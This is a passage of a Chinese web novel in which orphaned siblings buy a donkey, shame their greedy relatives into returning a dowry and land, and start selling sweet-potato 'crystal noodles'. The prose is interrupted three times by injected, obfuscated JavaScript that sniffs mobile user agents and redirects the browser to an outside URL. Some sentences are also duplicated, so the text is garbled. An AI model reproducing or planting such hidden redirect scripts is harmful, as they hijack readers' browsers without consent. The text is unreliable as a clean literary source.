林诚走上前去，仔细查看毛驴的牙齿和四肢，依照刘大壮刚才说的要点，逐一检查，“大壮哥，这毛驴的牙齿看着挺整齐，四肢也有力。” 刘大壮也走过来，伸手摸摸毛驴的脊背和腿部，感受它的肌肉。“嗯，确实不错。来，试试它的脾气。”说着，刘大壮拿起一根草料，慢慢靠近毛驴。毛驴瞧见草料，立刻伸长脖子，温顺地吃起来。刘大壮又轻轻拍拍它的头，毛驴也毫无抗拒之意，“这毛驴脾气温顺，日后干活省心。” 林窈看着这头驴，心中也十分满意。 “老板，这头驴咋卖？”林诚朝着一旁的卖主问道。卖主钱三是个中年男子，他走上前来，上下打量林窈兄妹，“这头毛驴可是我精心饲养的，力气大、脾气好，你们要买，二两八钱银子。” 林窈和林诚对视一眼，这个价格比他们预期的要低一些。但买东西不哪有不讲价的，便宜了就是赚了，林诚开口说道，“老板，我们也诚心想买，您看能不能再便宜点，二两五钱银子，行不？” 钱三皱起眉头，“我这驴可是上等货，不二价。”林诚还想再讲价，林窈却拉了拉他的衣袖，“阿兄，咱们再去别家看看。” 刘大壮带着他们转了几个摊位，看了一圈，林窈觉得还是最初那头驴最好。最后，四人还是回到第一个摊位，钱三见他们又回来，“如何？我这驴是最好的吧？” 林窈笑着点头，“是哩，您这驴确实好，我们转了一圈，还是觉得您这头最合心意。可我们兄妹几个做小本生意，攒点钱不容易，二两五钱银子已是我们全部身家。您看，我们真心想买，您就便宜些。日后我们若再添置牲口，肯定还来您这儿。” 钱三看着兄妹三人，衣着虽简朴，却干净整洁，小小年纪就出来谋生，像极了自己年少时。“罢了罢了，就二两五钱卖给你们吧，这驴以后就归你们了，好好养着。” 林窈和林诚一听，脸上顿时绽放出欣喜笑容。“多谢老板，老板心善，日后定能生意兴隆，赚得盆满钵满。”钱三听了，面上的不耐烦消散，“你这小丫头，还挺会说话。” 林诚赶忙从怀里掏出备好的银子，仔细数了数，确认无误后，递给钱三。钱三接过银子，又仔细查验一番，这才把毛驴缰绳递给林诚。林诚接过缰绳，轻轻拍拍毛驴脖子，眼中满是欢喜。 林窈也走上前，抚摸着毛驴的头，“走，咱们回家。” 路上，林崧林窈商量着给毛驴取个啥名字。林诚虽极力收敛情绪，可一直上扬的嘴角还是泄露了他此刻的好心情。刘大壮看着他们兄妹几个开心的模样，心中也甚感欣慰。 一行人的目光都在今日新买的毛驴上，谁也没有看到路边竹林里的身影。 27. 驴 胡氏用力将篮子里的野菜往下压了压，朝着林家老屋匆匆走去。林家阿奶朱氏瞧见她一声不吭进屋，眉头跳了跳，这个儿媳从来都是无事不登三宝殿，“老大媳妇？今儿个怎么有空过来了？” 胡氏重重地把篮子往桌上一放，“娘，您猜猜我刚刚瞧见谁了？” 朱氏顺着她的话问道：“谁？” “是您那三个好孙儿。”胡氏拉长了语调，带着几分阴阳怪气。 “这有什么稀奇的，都在一个村子里住着，平日里见得少吗？”朱氏不以为然地回道。 “这回可大不一样！那三兄妹竟然拉着一头驴呢！”胡氏脸上的妒意愈发明显，话里也夹枪带棒起来，“都买上牲畜了！可倒好，自家爷奶、大伯还在这儿吃野菜，也不知道过来孝敬孝敬。” 林大爷林德茂听到胡氏说的话，从屋里走了出来，“谁家买驴了？” 胡氏一见到公爹，心中暗自窃喜，公爹最疼自家官人了，这事儿可得添油加醋好好说道说道，“是林诚那小子！我刚在村口瞧见他们，拉着一头驴，那模样，威风得很呢！” 林德茂捻了捻嘴边的胡子，刚要开口，一旁的朱氏抢着说道：“那三个孩子能过上好日子，咱们也该高兴。既然已经分家，各过各的，也就别多管了。”边说边抬眼观察林德茂的神色。 林德茂立刻板起脸，大声呵斥，“妇人之见！分家了就不用孝顺爷奶了？他们哪来这么多钱买驴？” 胡氏在一旁撇嘴，婆母就是心软，还好公爹和他们一条心，赶忙接话，“谁说不是呢！哪有爷奶还吃着野菜，孙辈却吃香喝辣的道理！我前些日子在码头，瞧见他们兄妹摆了个吃食摊子，看样子，没少挣钱哩！” 林德茂一听，坐不住了，站起身来，“老大媳妇，你随我来！” 朱氏在一旁急得不行，却插不上话。 朱氏实在想不明白，同样都是自己生的孩子，官人为何对老二一家如此狠绝。未分家时，就整日使唤老二家，还让老二顶替老大去服兵役，最后把老二家的孤儿寡母扫地出门。如今这几个孩子好不容易日子有了起色，却还是半点见不得他们好。 林德茂带着胡氏前脚刚出了门，朱氏后脚也跟着出了去。 另一边，林诚和林崧还沉浸在买驴的喜悦之中。林崧给这头驴起了个名字，叫小灰，因为它浑身灰扑扑的。突然，一阵急促的敲门声响起。 “开门！开门！”林德茂在门外扯着嗓子喊道，声音里满是怒气。 林窈听到门外林德茂的声音，目光一转，来得真快，她还怕这老头不来呢。林窈听到门外林德茂的声音，心中冷笑，来得倒挺快，就跟那闻着腥味寻来的猫一样。这老头平日里对自家兄妹不闻不问，如今定是听闻买驴之事，笃定他们赚了钱，才火急火燎地上门兴师问罪，想从他们这儿捞些好处。 此前，一直是林长寿和胡氏在他们跟前蹦跶，差点都忘了还有这么个难缠的角色。林窈决定买驴的时候，就没打算瞒着，毕竟这事儿根本瞒不住。所以今天，她特意光明正大地牵着驴从村口走过。 林诚放下手里正喂驴的草料，跑去开门：“阿爷，您怎么来了？” “我还不能来了？我不来，都不知道你们几个没良心的，自己偷偷躲起来做生意，吃香喝辣，还买上驴了！你们眼里还有没有我这个阿爷！”林德茂一进门，就破口大骂，脸涨得通红。 林诚攥紧了拳头，指关节因为用力都泛白了，强忍着情绪说道：“阿爷，我们没有这个意思。” “那你说说，你们兄妹三人为何吃独食，为何做生意不带上你大伯家两个哥哥！”林德茂瞪大了眼睛，理直气壮地质问。 林窈简直被他的无耻惊呆了，这人真是越老脸皮越厚。 林德茂的嗓门大，嚷嚷的声音极具穿透力，和林窈家挨着的几户人家听到这边的吵闹声，都从家中走出来看热闹。 “阿爷，爹失踪之后，我们家就被分出来单过了。如今这驴，是花光了家里所有积蓄买的，就盼着能多挣几个钱，好糊口罢了！”林诚对这个爷爷本就没什么感情，若不是他逼着爹代替大伯去从军，爹也不会失踪，更别提他从小就苛待自己与阿妹与小弟。 此话一出，瞬间勾起了大家对林德茂一家刻薄林老二的回忆，隔壁的张大爷实在看不上他这幅嘴脸，“林德茂，你这话说得可就没理了。要不是因为您家老大，这几个孩子能没了爹？他们做点生意，那也是他们辛苦挣来的。你和长寿之前也没帮衬过什么，现在凭啥让人家带上长寿家那两个儿子？” “就是就是，人家孩子有本事自己过好日子，跟长寿家那俩小子有啥关系？难不成林二家的就不是您亲孙子了？”柳三娘也在一旁附和。 林德茂被众人这么一说，面上有些挂不住，但还是梗着脖子，强词夺理，“他们就是我的亲孙子！有了好处，自然得想着家里人，哪能自己偷偷摸摸地过好日子，把家里人都忘了！” 林窈冷笑一声，走上前一步，直视着林德茂的眼睛，说道：“阿爷，您可别忘了，当初分家的时候，咱们就已经是两家人了。这些日子，我们兄妹三人风里来雨里去，吃了多少苦，您可曾关心过？现在看到我们有点起色了，就想来分一杯羹，哪有这么便宜的事儿！” 她顿了顿，看向胡氏，“说起大伯家的两位哥哥，我这儿还真有桩事要和大堂哥商议。几天前，我和阿兄遭人袭击，后又被污蔑在饭菜里下毒，致人滑胎。最后官府查出，竟是大堂哥指使的。官府可是判了大伯一家要赔偿我们医药费和医师出诊费，一共三十一两一百八十文。如今结案文书还在家里放着呢，大伯娘可别把这事儿给忘了。” 林窈这一番话，条理清晰，掷地有声。周围的邻居们听了，顿时一片哗然。 “林有福的心肠真是歹毒！他要害死诚哥儿一家不成？” “就是啊，对自己家兄弟姊妹都能下得去手，狠心肝的！” 林德茂不知道还有这么一回事，一时也说不出辩解的话，转身狠狠瞪了胡氏一眼。林德茂压根不知道还有这事儿，一时语塞，不知道该怎么反驳，只能转身狠狠地瞪了胡氏一眼。胡氏有些心虚，“这事儿是你大堂哥做错了，他不懂事，大伯娘替他向你道歉。” 说着，作势就要下跪。林窈心里对她这副做派厌恶至极，白眼都要翻上了天。这个胡氏，为了分一杯羹，真是豁得出去。不过，她可不会惯着她。 林窈眼疾手快，一把托住胡氏的手臂，接着自己“扑通”一声跪在了地上。她暗中狠狠捏了一把自己的伤处，瞬间眼眶泛红，声泪俱下地哭诉起来：“大伯娘，大堂哥这是要我和阿兄的命啊！那蒙面人上来就要废了我的手，阿兄更是被打晕了扔在荒郊野岭。若不是遇到贵人相助，我们俩早就死了！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163277|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林窈抹了把眼泪，没给胡氏和林德茂插嘴的机会，继续哭诉：“阿爹顶替大伯父去服兵役，到现在都没个音信。我们孤儿寡母被分家出来，一场风寒就要了阿娘的命，就剩下我们兄妹三人相依为命！要是我们也走了，崧儿怎么办？他才三岁啊！” “我们好不容易摆个小食摊，还没挣到几个钱，你们就上赶着来分好处。我求求阿爷和大伯娘，行行好，放我们一条生路吧！”说完，林窈“砰砰”地朝着地面磕头，额头很快就红了一片。 一旁的林诚见状，也拉着林崧跟着林窈一起磕头。 “这胡氏还好意思说林有福不懂事，他可比诚哥儿还大好几岁呢！”柳三娘在一旁忍不住低声议论。 胡氏被林窈的举动弄得措手不及，她原本想着自己下跪道歉，林窈要是受了她这一跪，唾沫星子都能淹死林窈。林窈就是再不愿，也得把她扶起来，然后自己再顺势说些好话，当着这么多人的面，林窈怎么也得答应让自家孩子加入生意。可没想到，林窈反而将了她一军。 就在林窈带着大哥和小弟不停地磕头时，朱氏带着里正匆匆赶到了。只是，朱氏不敢往人群前面走，只能躲在人群后面，偷偷看着。里正清了清嗓子，众人见里正来了，纷纷安静下来，自觉地给里正让出一条路。 里正看了看跪在地上的林窈兄妹三人，又看了看站在一旁满脸尴尬的林德茂和胡氏，神色严肃地问道：“这是怎么回事？在这儿吵吵闹闹，成何体统！” 林窈听到周围的声音渐渐安静下来，抬起头，看到了里正。 林德茂刚张开嘴，想要说话，就被里正抬手打断了。“先别急着说，让我听听孩子们怎么讲。”里正说着，目光落在了林窈身上。里正心里最清楚自己这个堂弟的德行，偏心大房，苛待二房。他一点都不想听这个堂弟瞎掰。 林窈擦了擦脸上的泪水，站起身来，朝着里正福了福身，把事情的来原委详细地说了一遍。 里正听完林窈的讲述，眉头紧紧皱了起来，转头看向林德茂和胡氏，：“她说的都是真的？” 胡氏低下头，不敢直视里正的目光。林德茂尴尬地咳了两声，说道：“大堂哥，这都是孩子们之间的误会，我们已经教训过老大了。” “误会？我可没听说过堂兄妹之间会因为误会就买凶伤人的！”里正冷笑一声，“阿窈还说，官府判了你们要赔偿！阿窈，把结案文书拿过来！” 林窈立刻回屋，把结案文书取了出来。 里正粗略地浏览了一遍，脸色愈发难看“林有福做出这种糊涂事，险些害了几条人命。你们如今还想厚着脸皮来分人家的生意，简直是岂有此理！赶紧按照这结案文书上写的，把钱还给诚哥儿一家。” 胡氏心里一百个不情愿，小声嘟囔，“大爷爷，家里一时实在拿不出这么多银钱，这不是想着让阿窈和诚哥儿带着我们做点生意，好挣钱还上嘛。” “我呸，你这人不好要脸！”柳三娘实在是看不下去了。 林德胜也是对胡氏的死皮赖脸有了新的认识，“不必胡搅蛮缠，我今日就在这里做个见证，你们赶紧把钱还上，诚哥儿他们也就把这件事翻篇了！” 胡氏还是不想把钱拿出来，“大爷爷，不是我们不赔，是实在……” 林窈也不想再跟胡氏这种人纠缠下去，“如果大伯娘实在拿不出这么多钱，那就算了吧。” 28. 红薯粉 胡氏立马换上满脸堆笑，说道：“我就知道，阿窈是最懂事的，她可是我看着……” 林窈毫不客气地打断胡氏接下来的废话，直截了当地说：“这个钱我们可以不要，但是大伯娘一家得归还我娘的所有嫁妆，还有我爹原本准备给我的嫁妆，以及属于我家的那两亩田！” 林德胜没想到自己这个堂弟竟能偏心到这般地步。分家不仅霸占人家的田，连弟媳和侄女的嫁妆都不放过。 刘大壮本想着把装卤猪下水的碗还给林诚一家，出了家门便瞧见一群人围在林诚家门外。他赶忙凑过去，恰好听到林窈这番话，心中诧异，忍不住脱口而出：“这哪是分家，简直就是土匪抄家。” 田地对于农民而言，那可是命根子，说到霸占田产的行为在场众人皆深恶痛绝。刘大壮这话说得直白，周围邻居们听了，纷纷点头表示认同，一时间议论声又起。 “就是说啊，哪有分家还霸占人家田产和嫁妆的道理，这跟土匪有啥两样！” “可不是嘛，林家大房太过分了，欺负这几个没爹没娘的孩子，真是没天理。” 林德茂的老脸涨得通红，他压根没料到林窈会突然提出这样的要求，心里又气又恼，可一时竟不知如何反驳。 林德胜也不想再掺和此事，便说道：“胡氏，你就按阿窈说的做吧，这样你们已然占了便宜。德茂，你觉得这么处理如何？” 胡氏还想争辩几句，林德茂却不愿再留在此处遭人指指点点，忙不迭点头应道：“都听堂兄的！”林德茂都这么说了，胡氏也不好再坚持，只得回去取林窈母女的嫁妆和田契。 众人见事情有了结果，便各自散去回家了。 林德胜望着胡氏和林德茂匆匆离去的背影，收回目光，瞧见林诚三兄妹额头通红，不禁叹气，“日后，若是还有难处，尽管跟我说。我虽说上了年纪，但帮衬你们一把还是做得到的。”顿了顿，他又接着说：“你们阿爷这人糊涂，你们阿奶也做不了主，但你们别怨她。今日还是她来找我，我才晓得你阿爷又来为难你们。” 兄妹三人乖巧地点点头。在林窈的记忆里，朱氏是个沉默寡言的妇人，以往时常会偷偷给他们兄妹塞些吃食。可自从分家后，就再没见过她。 没过多久，胡氏便带着两箱嫁妆和田契回来了。她心里那叫一个肉疼，贾氏是家中独女，光是嫁妆就有五支银簪和一个金子打造的长命锁，更别提娘家陪送的布匹、木梳等物。叶老二也疼闺女，闺女年纪尚小便给她打了两支银簪和一个银镯子。 胡氏当初还盘算着拿这些东西给儿子讨媳妇，如今媳妇没讨成，还落得个抢占弟妹和侄女嫁妆的名声，可谓里子面子全丢了。她极不情愿地把东西还给林诚一家，没好气地说：“东西都在这儿了，往后这笔债就算一笔勾销了！” 林窈打开箱子查看一番，确认东西与记忆中无异后，说道：“那是自然，日后咱们便是桥归桥，路归路，互不相干。” 她谢过林德胜后，便带着林诚和林崧转身回屋。“阿窈，你没事吧？”一进屋，林诚便关切地问道。 “无碍，不过是磕几个头罢了。”林窈笑着摸了摸林崧的脑袋，“崧儿可还好？” “崧儿无事！”林崧脆生生地回答。 林窈知道兄长心中不解，没等他开口便解释道：“咱们做生意这事瞒不住。今日我这般行事，一来是要让所有人都知道林家大房和阿爷对咱们做的事，让大家知晓他们的真面目，日后若是再打我们的主意，仔细被唾沫星子淹死。” 林窈把面巾递给林崧，继续说道：“二来，让咱们显得处于弱势，人皆是同情弱者，如此一来，短时间内，就没人会眼红咱们的小食摊挣钱，只会觉得咱们三兄妹生活艰难。三嘛，借着这个机会，把本就属于咱们的东西都拿回来。” 她太清楚嫉妒的可怕了。若是大家都穷得叮当响，或许还能相安无事，可一旦有人日子过得好了起来，就总会有人眼红嫉妒。她向来都是以最坏的恶意去揣测人心，人心这东西，脆弱又善变，经不起丝毫折腾与考验。 林诚听了妹妹这番话，心里满是自责与心疼，说道：“阿窈，跟着哥让你受苦了。” 整理好东西，兄妹俩也调整好了情绪。林诚把魔芋削好皮，扔进石磨里。 林窈把毛驴牵到石磨前，给它蒙上眼睛，套上绳索，说道：“以后这就是你的活儿了！朝十晚五，午休两小时，做四休三，包吃包住，这可是多少驴求之不得的好差事！” 林诚看着妹妹跟在驴后面嘀嘀咕咕，不禁觉得好笑，问道：“你跟驴嘟囔啥呢？” “让它好好干活，干得好给它加餐！”林窈一边回答，一边去拿红薯粉。今日大闹了一场，要回了原主和原主娘的嫁妆，还讨回了两亩田，得吃顿好的庆祝庆祝。 林窈做红薯淀粉，除了想用它替代普通淀粉，更重要的是想做酸辣粉吃！一想到酸辣粉那酸爽过瘾、让人欲罢不能的滋味，林窈便觉得口舌生津。 林窈舀出一大勺红薯淀粉，放入一个干净的盆里。接着，她拿起一旁的水瓢，少量多次、缓慢地往盆里加入清水，另一只手则不停地搅拌。随着清水的加入，原本干燥的淀粉渐渐被浸湿，慢慢变成浓稠的淀粉糊。林窈捞起一部分红薯粉糊糊，往下倾倒，见糊糊自然流淌且不断开，便知道成功了。 接下来，只需把糊糊放进漏勺里，让淀粉糊糊从漏勺的小孔中滴落到锅中，红薯粉条就基本成型了。林窈突然一拍脑袋，家里没有漏勺。如此一来，只能先把一整块淀粉糊糊蒸熟，再切成细条。这样做出来的粉条，卖相可能会差些，但味道想必不会有太大差别。 拿定主意后，林窈开始往锅里舀水，就在看到水上的水瓢时，她突然灵光一闪，给这水瓢是用葫芦的做，若是在上面钻些孔，不就和漏勺一样了。 说干就干， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168973|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林窈跟林诚说了自己想要的样子，便跑去烧水了。林诚虽不知道妹妹又在琢磨什么，但这水瓢本就是葫芦做的，山里葫芦多得是，大不了他再上山弄几个回来。 不到一炷香的工夫，林诚就把漏勺做好了。 林窈接过漏勺，十分衬手。这漏勺虽是水瓢改造而成，可林诚手巧，把葫芦的边缘打磨得光滑平整，每个漏孔大小均匀，看着就十分称手，不禁夸赞道：“哥，你这手艺可真好！” 她把淀粉糊糊倒入漏勺，淀粉糊从一个个小孔中接连落下，在热气腾腾的沸水里瞬间凝固，变成一根根细长晶莹的粉条，在锅中翻滚跳跃。 林诚在一旁看着，惊喜地问道：“阿窈，你做出来的可是粉条？” “是哩！这叫红薯粉，煮熟后还能晒干，晒干了方便储存。想吃的时候拿出来，不管是煮着吃还是炒着吃，都特别香。”林窈一边有条不紊地从漏勺中抖出淀粉液，看着它们在锅里成型，一边耐心地向林诚解释，“而且用它做成酸辣粉，那滋味跟外边的插肉面、浇头面可大不一样！” 林窈把今日要吃的一部分红薯粉分出来，剩下的放到凉水里浸泡，过凉之后晒干。晒干后的红薯粉能保存很久都不变质。 这边，林诚已经把香菜、野葱切段，茱萸捣碎。林窈接过食材，开始调制酸辣粉的料汁。她先将捣碎的茱萸放入碗中，加入适量的醋和盐巴，搅拌均匀。茱萸的香气瞬间弥漫开来，与醋的酸味完美交融，形成一种独特的酸辣香气。 扒在灶台上的林崧忍不住咽了咽口水。 林窈将切段的香菜和野葱分别放入三个碗中，接着往林诚的碗里加了一大勺茱萸醋汁，给自己也加了不少，最后给林崧的碗里放了一点用来增香，再从锅里舀出粉汤。热汤接触食材的刹那，香菜、野葱的香气与酸辣味相互交织，让人食欲大增。 不用林窈招呼，林诚和林崧便自己端着粉坐下，一坐下就开始搅拌自己碗里的酸辣粉。林诚先尝了一口，酸辣的味道瞬间激活了他的味蕾，“阿窈，明日摊上要卖这粉吗？” 林窈一边搅拌着酸辣粉，一边说道：“卖，但不在咱们摊上卖！” 闻言，林诚停下了筷子，“这是怎么个卖法？” “咱们这回要做供货商！前些日子我在镇上转了几圈，发现镇上的面食摊子多得很。我寻思着，要是能把这独一无二的红薯粉推销出去，让镇上的面摊子都用上咱们做的红薯粉，那不得财源滚滚？”林窈一想到这儿，心里就乐开了花。 她接着说：“只是咱们这粉得换个名字，要是直接叫红薯粉，原料一听便知，保不准有人会琢磨出做法。不如……就叫水晶粉吧！” 林诚听得一愣一愣的，他都恨不得撬开林窈的脑袋瞧瞧，为啥都是一个娘生的，妹妹如此聪慧，自己却只晓得跟在妹妹后头忙活。不过没关系，他虽没妹妹那脑子，可有的是力气，妹妹说啥，他照着做就是了。 29. 水晶粉 做供货商的设想，虽说利润非常可观，但实施起来却是困难重重。 头一个难题便是，镇上的面摊皆为自家制粉做面，成本低廉、口味稳定，且有固定客源，实犯不着多花银钱去采买别家之粉。故而林窈要做的头一件事，便是带上自家的水晶粉到镇上售卖些时日，将这新品引入市场，搅一搅清泉镇平静的面食市场。 只是，林窈一人去镇上卖粉，既忙活不过来，亦不安全。兄妹俩商议着，得请个人来搭把手，“大壮哥一家平日里对咱们多有照拂，不如请嫂子与我一道去？” 这个提议正合林诚的意，“我正有此意，咱们也该报答大壮哥一家。只是这工钱该如何算？” “此番去镇上摆摊，路远物什多，一日十文吧。”林窈稍作思忖，继续说道，“码头那边，就问问李大娘可愿多支个炉子卖水晶粉。若她愿意，码头的生意便交由李大娘做，权当是多谢此前李大娘多次出言维护咱们。” 主意既定，林窈便带着林诚与林崧前往刘大壮家。正巧刘大壮正坐在自家门前收拾刚猎得的野兔。 “大壮哥！”林诚唤了一声。刘大壮见是兄妹三人来了，拎起收拾好的兔子，推开半掩的门，说道：“快进来坐。” 林窈进屋后问道：“大壮哥，嫂子在吗？” 刘大壮还未及回答，灶屋里便传来梁氏的声音：“找我呢？我这就出来！”无论是从前原主还是林窈，都喜欢这个嫂子，性格泼辣，行事风风火火，嘴皮子利索且护短，待在她身旁，安全感十足。 梁氏将洗净的锅碗瓢盆归置好，便走出灶房，说道：“阿窈找我何事？莫不是你那大伯娘又欺负你们了？” 梁氏坐下后，自顾自地接着说：“说起来，那日若不是正巧碰上我带着大宝去探望我爹娘，定要替你狠狠骂一顿那个黑心肝的！” 林窈瞧她一副义愤填膺的模样，有些哭笑不得，“并非此事，那日大壮哥也帮了我们许多。今日前来，是想请嫂子来帮衬帮衬我们的小摊子。不让嫂子白忙活，一日十文工钱，包午食。” 闻言，梁氏一愣，“这……如何使得。帮衬一把倒也无妨，可十文钱一日，实在太多了。码头上做一日苦力才三十文，你这摊子刚做起来，挣钱不易，可不敢如此大手大脚！” 林窈听她这番言语，心中很是感动，“我的摊子要摆到镇上去，路途远了些，往来劳累。阿兄要留在码头照看摊子，我一人去镇上实在忙不过来。若是嫂子不答应，我也得另请旁人帮忙。村子里我最信得过的便是嫂子，有嫂子帮忙，阿兄与我都能放心。” “阿窈真是长大了，这话讲得在理。”梁氏拍了拍林窈的手，“那嫂子就不推辞了！定不会让你失望。”林窈与梁氏简单交代了明日碰头的地点与时间，便和林诚、林崧往山上去了。 林窈自信定能打开水晶粉的市场，所以此刻上山，一则是要多挖些红薯，二则是家中的魔芋也快用完了，需挖些回去做成魔芋爽。魔芋爽便于携带，也可带些到镇上去售卖。 回到家中，林诚负责削皮，林窈将驴套在石磨上后，便去炸酥黄豆。今日中午吃的酸辣粉少了酥黄豆，总觉缺了些滋味，所以她出门之前便泡了一大碗黄豆。 林窈瞧了瞧碗里的黄豆，比刚放下去时大了一圈，泡发的黄豆更容易炸得酥脆。她将泡好的黄豆捞出，沥干水分，用干净的布拭去多余的水①。 接着，她把锅中的油烧热，倒入黄豆翻炒。头一遍翻炒只需小火即可，林窈轻轻搅拌着黄豆，以防黄豆脱皮，酥炸黄豆脆薄的外皮可增添口感。林窈见锅里的黄豆已然开始浮起，便往灶里添了些柴火，转用大火让黄豆吐一吐油。 炸好后，林窈将黄豆盛出装起来控油，在锅中留下些许底油，放入大蒜粉，重新倒入炸好的黄豆，再撒上一把盐调味，这秘制酥炸黄豆便做成了。 一日忙活下来，林窈只觉腰酸背痛，直不起身来。幸好如今拉磨的活儿交给了小灰驴，林诚可以腾出手来帮她，不然真不知要忙活到何时。 睡了一觉，林窈顿觉神清气爽，满血复活，年轻就是好啊，以前要是让她干这么多活，没个一个周，她绝对缓不过来。 林窈用过早饭之后，便在灶房里调制酸辣汁，香菜和野葱被她分开放置。一则是因为香菜和野葱泡得太久，卖相不佳；二则是怕有人不喜食葱或香菜。 一切准备停当，三兄妹早早便出了门。来到码头时，李大娘的摊子也才刚收拾好。“林小娘子、诚哥儿、崧哥儿，今日来得这么早啊！” 林窈点了点头，“今日活儿多，早些过来才忙得完！” 支起摊子后，林窈便煮了一碗酸辣粉。那酸辣粉刺激的香气，顺着清晨的微风飘到了李大娘的摊子上。李大娘吸了吸鼻子，不由得说了声：“真香啊！” 林窈端着酸辣粉走到李大娘的摊子旁时，恰好听到这句话，抿嘴一笑。她把酸辣粉放在李大娘桌上，说道：“大娘，这是酸辣粉，您尝尝看。” 李大娘放下手里的抹布，说道：“不成不成，我可不好白吃你摊子上的东西。” 林窈把碗往前推了推，说道：“大娘，我也不与您客套。我想与您合作卖这酸辣粉，您尝尝味道如何，看看咱们这买卖能不能做成。” 早在之前王大爷与林小娘子合作卖馍馍的时候，李大娘便羡慕不已，如今大好机会摆在眼前，她自然不会错过，说道：“林小娘子做的吃食，码头上无人不说好的。既然你都这么说了，那我就尝上一尝！” 李大娘夹起一筷子水晶粉，这水盈盈、剔透的模样，此前确实从未见过。她把粉送入口中，入口便猝不及防地被辣意侵袭，这可比闻到的味道刺激许多。只是这辛辣之味，却叫人忍不住一口接着一口。 “好味道！冬日里若来上这么一碗，浑身都得热乎起来。这大冷天在码头上干活的人，指定爱这一口！”李大娘毫不吝啬地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176123|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夸赞道。 林窈不愿放弃码头的市场，也有这方面的考量。眼下已然入秋，冬日也不远了。冬日里码头的工人偏爱热食，李大娘的摊子届时必然比夏日更受欢迎。李大娘在这码头卖了大半辈子粥，有大批老主顾。由李大娘亲自向顾客推销，他们的水晶粉不愁没销路。 林窈把手上的布包打开，里面是两大捆水晶粉，说道：“这是我们新做的粉条，名为水晶粉，整个清泉镇唯有我能做得出来。只是我们摊子实在太小，再添置一个锅怕是忙不过来。大娘可愿意卖这水晶粉？” “愿意愿意，只是这价格……”李大娘也担心这独一无二的粉条价格过高，自己负担不起。 “价格不贵，一捆水晶粉二十五文，至少能做十碗面。酸辣粉的辣汁五文一竹筒，约莫能做二十碗。还有这秘制酥黄豆，十五文一竹筒，同样能做个二十碗。大娘也可只拿水晶粉，配上其他浇头，味道亦是极好的。”林窈说道。 李大娘一听，心下大定，“我就喜欢你做的那个味道。我要两捆水晶粉，一筒酸汁和酥黄豆！”说罢，便从荷包里数出七十文递给林窈。林窈接过钱，把水晶粉交给了她，又叮嘱了制作的要点，便回到了自己的摊位上。 摊位上，王小鱼正在准备一会儿要用的食材。 “小鱼，你来一下。”林窈把她拉到一旁，说道：“方才你瞧见我做的那粉了吧？那叫水晶粉，是我昨日与兄长在家中琢磨出来的。这些日子我要与同村的嫂子一同去卖那酸辣粉。” 林窈见她神色无异，继续说道：“我一人去镇上，阿兄放心不下，也不能留你一人在码头。我便找了个性子刚强的嫂子陪着我。你就先留在码头这边的摊子上，等水晶粉打开销路了，我再回来教你。” 王小鱼心中很是感动，她身为徒弟，师父愿教什么她就学什么。师父不愿教的菜式，都谈不上藏私。师父与她说这些，是看重她，她定不会辜负师父的期望，说道：“师父放心去镇上吧，这里有我呢！” 码头边，梁氏和刘大壮已然带着一口铁锅和几张桌凳在等候了。这也是林窈要请她帮忙的缘由，自家锅不够用，桌凳也没几张，如此将两家的家什凑在一块儿，便刚刚好。 林窈把水晶粉和调料放入背篓，便跑去与梁氏汇合。将东西放上驴车，牵着驴往镇上赶去。 今日在码头耽搁了些时间，到镇上时，许多摊贩都已占好了位置。 镇上的摊位也讲究个先来后到。大燕朝在大城市设有“街道司”，专门管理他们这些小商贩②。 街道司在大街两边立“表木”作为界线，表木以外的街道两旁可自由摆摊，表木以内的街道中央则严禁摆摊③。若有越过表木者，会被杖责七十大板④。 林窈和梁氏寻了个面摊扎堆的位置，把摊子支了起来。梁氏在一旁烧水，林窈便开始吆喝起来，“水晶粉！水晶粉！林家食摊独一份的水晶粉！走过路不过不要错过！” 30. 酸辣粉 水晶粉是个新东西，清泉镇的人都没有听说过这等粉食，有好奇的人停下脚步询问：“你这水晶粉是何物？” “水晶粉是我叶家独有的粉条，与旁的粉面大不相同！”林窈一边说着，一边抓了一把水晶粉放入沸腾的锅中，“客官您瞧好了，不消片刻，这粉便会变得如冰晶莹，如水透亮！”林窈吆喝的声音响亮，引得路人侧目，有闻声而来的人，“如此神奇，我也来瞧瞧！” 林窈在路上提前将水晶粉用水浸泡过，这样更容易煮熟。约莫半盏茶的功夫，锅里的水晶粉便渐渐变得清透起来。有人见状，惊讶地说道：“当真不一样！方才看着还灰扑扑的，这一会儿就晶莹剔透了！” 见水晶粉煮出这般模样，刚驻足的客人当即就想尝个新鲜，问道：“小娘子，这粉有哪些口味？如何卖法？” 